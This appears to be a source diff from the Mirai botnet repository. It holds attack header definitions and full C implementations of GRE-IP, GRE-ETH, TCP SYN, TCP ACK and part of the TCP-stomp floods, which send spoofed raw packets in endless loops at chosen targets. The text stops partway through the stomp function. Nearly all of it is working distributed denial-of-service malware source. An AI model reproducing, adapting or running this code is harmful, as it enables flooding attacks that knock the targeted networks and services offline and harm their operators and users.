#define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood
#define ATK_OPT_PATH 22 // The path for the HTTP flood
#define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS?
#define ATK_OPT_CONNS 24 // Number of sockets to use
#define ATK_OPT_SOURCE 25 // Source IP
struct attack_method {
ATTACK_FUNC func;
ATTACK_VECTOR vector;
};
struct attack_stomp_data {
ipv4_t addr;
uint32_t seq, ack_seq;
port_t sport, dport;
};
#define HTTP_CONN_INIT 0 // Inital state
#define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin
#define HTTP_CONN_CONNECTING 2 // Waiting for it to connect
#define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation
#define HTTP_CONN_SEND 4 // Sending HTTP request
#define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers
#define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc
#define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode
#define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible
#define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to
#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data.
#define HTTP_CONN_CLOSED 11 // Close connection and move on
#define HTTP_RDBUF_SIZE 1024
#define HTTP_HACK_DRAIN 64
#define HTTP_PATH_MAX 256
#define HTTP_DOMAIN_MAX 128
#define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies
#define HTTP_COOKIE_LEN_MAX 128 // max cookie len
#define HTTP_POST_MAX 512 // max post data len
#define HTTP_PROT_DOSARREST 1 // Server: DOSarrest
#define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx
struct attack_http_state {
int fd;
uint8_t state;
int last_recv;
int last_send;
ipv4_t dst_addr;
char user_agent[512];
char path[HTTP_PATH_MAX + 1];
char domain[HTTP_DOMAIN_MAX + 1];
char postdata[HTTP_POST_MAX + 1];
char method[9];
char orig_method[9];
int protection_type;
int keepalive;
int chunked;
int content_length;
int num_cookies;
char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX];
int rdbuf_pos;
char rdbuf[HTTP_RDBUF_SIZE];
};
struct attack_cfnull_state {
int fd;
uint8_t state;
int last_recv;
int last_send;
ipv4_t dst_addr;
char user_agent[512];
char domain[HTTP_DOMAIN_MAX + 1];
int to_send;
};
BOOL attack_init(void);
void attack_kill_all(void);
void attack_parse(char *, int);
void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);
char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *);
int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int);
uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t);
/* Actual attacks */
void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
static void add_attack(ATTACK_VECTOR, ATTACK_FUNC);
static void free_opts(struct attack_option *, int);

1175
mirai/bot/attack_app.c Executable file

File diff suppressed because it is too large Load Diff

318
mirai/bot/attack_gre.c Executable file
View File

@ -0,0 +1,318 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/if_ether.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "protocol.h"
#include "util.h"
#include "checksum.h"
#include "rand.h"
void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct grehdr *greh;
struct iphdr *greiph;
struct udphdr *udph;
pkts[i] = calloc(1510, sizeof (char *));
iph = (struct iphdr *)(pkts[i]);
greh = (struct grehdr *)(iph + 1);
greiph = (struct iphdr *)(greh + 1);
udph = (struct udphdr *)(greiph + 1);
// IP header init
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_GRE;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
// GRE header init
greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes
// Encapsulated IP header init
greiph->version = 4;
greiph->ihl = 5;
greiph->tos = ip_tos;
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
greiph->id = htons(~ip_ident);
greiph->ttl = ip_ttl;
if (dont_frag)
greiph->frag_off = htons(1 << 14);
greiph->protocol = IPPROTO_UDP;
greiph->saddr = rand_next();
if (gcip)
greiph->daddr = iph->daddr;
else
greiph->daddr = ~(greiph->saddr - 1024);
// UDP header init
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct grehdr *greh = (struct grehdr *)(iph + 1);
struct iphdr *greiph = (struct iphdr *)(greh + 1);
struct udphdr *udph = (struct udphdr *)(greiph + 1);
char *data = (char *)(udph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
{
iph->id = rand_next() & 0xffff;
greiph->id = ~(iph->id - 1000);
}
if (sport == 0xffff)
udph->source = rand_next() & 0xffff;
if (dport == 0xffff)
udph->dest = rand_next() & 0xffff;
if (!gcip)
greiph->daddr = rand_next();
else
greiph->daddr = iph->daddr;
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
greiph->check = 0;
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
targs[i].sock_addr.sin_port = 0;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
if (errno != 0)
printf("errno = %d\n", errno);
break;
#endif
}
}
void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct grehdr *greh;
struct ethhdr *ethh;
struct iphdr *greiph;
struct udphdr *udph;
uint32_t ent1, ent2, ent3;
pkts[i] = calloc(1510, sizeof (char *));
iph = (struct iphdr *)(pkts[i]);
greh = (struct grehdr *)(iph + 1);
ethh = (struct ethhdr *)(greh + 1);
greiph = (struct iphdr *)(ethh + 1);
udph = (struct udphdr *)(greiph + 1);
// IP header init
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_GRE;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
// GRE header init
greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes
// Ethernet header init
ethh->h_proto = htons(ETH_P_IP);
// Encapsulated IP header init
greiph->version = 4;
greiph->ihl = 5;
greiph->tos = ip_tos;
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
greiph->id = htons(~ip_ident);
greiph->ttl = ip_ttl;
if (dont_frag)
greiph->frag_off = htons(1 << 14);
greiph->protocol = IPPROTO_UDP;
greiph->saddr = rand_next();
if (gcip)
greiph->daddr = iph->daddr;
else
greiph->daddr = ~(greiph->saddr - 1024);
// UDP header init
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct grehdr *greh = (struct grehdr *)(iph + 1);
struct ethhdr *ethh = (struct ethhdr *)(greh + 1);
struct iphdr *greiph = (struct iphdr *)(ethh + 1);
struct udphdr *udph = (struct udphdr *)(greiph + 1);
char *data = (char *)(udph + 1);
uint32_t ent1, ent2, ent3;
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
{
iph->id = rand_next() & 0xffff;
greiph->id = ~(iph->id - 1000);
}
if (sport == 0xffff)
udph->source = rand_next() & 0xffff;
if (dport == 0xffff)
udph->dest = rand_next() & 0xffff;
if (!gcip)
greiph->daddr = rand_next();
else
greiph->daddr = iph->daddr;
ent1 = rand_next();
ent2 = rand_next();
ent3 = rand_next();
util_memcpy(ethh->h_dest, (char *)&ent1, 4);
util_memcpy(ethh->h_source, (char *)&ent2, 4);
util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);
util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
greiph->check = 0;
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
targs[i].sock_addr.sin_port = 0;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
if (errno != 0)
printf("errno = %d\n", errno);
break;
#endif
}
}

489
mirai/bot/attack_tcp.c Executable file
View File

@ -0,0 +1,489 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <fcntl.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "checksum.h"
#include "rand.h"
void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct tcphdr *tcph;
uint8_t *opts;
pkts[i] = calloc(128, sizeof (char));
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
opts = (uint8_t *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
tcph->source = htons(sport);
tcph->dest = htons(dport);
tcph->seq = htons(seq);
tcph->doff = 10;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
// TCP MSS
*opts++ = PROTO_TCP_OPT_MSS; // Kind
*opts++ = 4; // Length
*((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
opts += sizeof (uint16_t);
// TCP SACK permitted
*opts++ = PROTO_TCP_OPT_SACK;
*opts++ = 2;
// TCP timestamps
*opts++ = PROTO_TCP_OPT_TSVAL;
*opts++ = 10;
*((uint32_t *)opts) = rand_next();
opts += sizeof (uint32_t);
*((uint32_t *)opts) = 0;
opts += sizeof (uint32_t);
// TCP nop
*opts++ = 1;
// TCP window scale
*opts++ = PROTO_TCP_OPT_WSS;
*opts++ = 3;
*opts++ = 6; // 2^6 = 64, window size scale = 64
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
tcph->source = rand_next() & 0xffff;
if (dport == 0xffff)
tcph->dest = rand_next() & 0xffff;
if (seq == 0xffff)
tcph->seq = rand_next();
if (ack == 0xffff)
tcph->ack_seq = rand_next();
if (urg_fl)
tcph->urg_ptr = rand_next() & 0xffff;
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *payload;
pkts[i] = calloc(1510, sizeof (char));
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
tcph->source = htons(sport);
tcph->dest = htons(dport);
tcph->seq = htons(seq);
tcph->doff = 5;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
tcph->window = rand_next() & 0xffff;
if (psh_fl)
tcph->psh = TRUE;
rand_str(payload, data_len);
}
// targs[0].sock_addr.sin_port = tcph->dest;
// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
// {
//
// }
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
tcph->source = rand_next() & 0xffff;
if (dport == 0xffff)
tcph->dest = rand_next() & 0xffff;
if (seq == 0xffff)
tcph->seq = rand_next();
if (ack == 0xffff)
tcph->ack_seq = rand_next();
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, rfd;
struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
// Set up receive socket
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Could not open raw socket!\n");
#endif
return;
}
i = 1;
if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(rfd);
return;
}
// Retrieve all ACK/SEQ numbers
for (i = 0; i < targs_len; i++)
{
int fd;
struct sockaddr_in addr, recv_addr;
socklen_t recv_addr_len;
char pktbuf[256];
time_t start_recv;
stomp_setup_nums:
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("Failed to create socket!\n");
#endif
continue;
}
// Set it in nonblocking mode
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
// Set up address to connect to
addr.sin_family = AF_INET;
if (targs[i].netmask < 32)
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
else
addr.sin_addr.s_addr = targs[i].addr;
if (dport == 0xffff)
addr.sin_port = rand_next() & 0xffff;
else
addr.sin_port = htons(dport);
// Actually connect, nonblocking
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
start_recv = time(NULL);
// Get info
while (TRUE)
{
int ret;
recv_addr_len = sizeof (struct sockaddr_in);
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
if (ret == -1)
{
#ifdef DEBUG
printf("Could not listen on raw socket!\n");
#endif
return;
}
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
{
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
if (tcph->source == addr.sin_port)
{
if (tcph->syn && tcph->ack)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *payload;
stomp_data[i].addr = addr.sin_addr.s_addr;
stomp_data[i].seq = ntohl(tcph->seq);
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
stomp_data[i].sport = tcph->dest;
stomp_data[i].dport = addr.sin_port;
#ifdef DEBUG
printf("ACK Stomp got SYN+ACK!\n");
#endif
// Set up the packet
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = LOCAL_ADDR;
iph->daddr = stomp_data[i].addr;
tcph->source = stomp_data[i].sport;
tcph->dest = stomp_data[i].dport;
tcph->seq = stomp_data[i].ack_seq;
tcph->ack_seq = stomp_data[i].seq;
tcph->doff = 8;
tcph->fin = TRUE;
tcph->ack = TRUE;
tcph->window = rand_next() & 0xffff;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
rand_str(payload, data_len);
break;
}
else if (tcph->fin || tcph->rst)
{
close(fd);
goto stomp_setup_nums;
}
}
}
if (time(NULL) - start_recv > 10)
{
#ifdef DEBUG
printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
#endif
close(fd);
goto stomp_setup_nums;
}
}
}
// Start spewing out traffic
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->seq = htons(stomp_data[i].seq++);
